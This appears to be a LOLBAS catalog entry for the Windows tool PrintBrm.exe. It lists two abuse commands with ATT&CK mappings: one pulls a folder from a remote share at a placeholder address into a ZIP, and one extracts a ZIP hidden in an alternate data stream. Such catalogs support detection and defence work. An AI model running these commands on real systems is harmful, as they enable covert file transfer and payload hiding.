.. /PrintBrm.exe
Star

Download (Compression)
Alternate data streams (Compression)

Printer Migration Command-Line Tool

Paths:

Resources:

Acknowledgements:

Detections:

Download

  1. Create a ZIP file from a folder in a remote drive

    PrintBrm -b -d \\1.2.3.4\share\example_folder -f C:\Users\user\Desktop\new.zip
    Use case
    Exfiltrate the contents of a remote folder on a UNC share into a zip file
    Privileges required
    User
    Operating systems
    Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1105
    Tags
    Type: Compression
    This LOLBAS involves (de)compression of one or more files.

Alternate data streams

  1. Extract the contents of a ZIP file stored in an Alternate Data Stream (ADS) and store it in a folder

    PrintBrm -r -f C:\Users\user\Desktop\data.txt:hidden.zip -d C:\Users\user\Desktop\new_folder
    Use case
    Decompress and extract a ZIP file stored on an alternate data stream to a new folder
    Privileges required
    User
    Operating systems
    Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1564.004
    Tags
    Type: Compression
    This LOLBAS involves (de)compression of one or more files.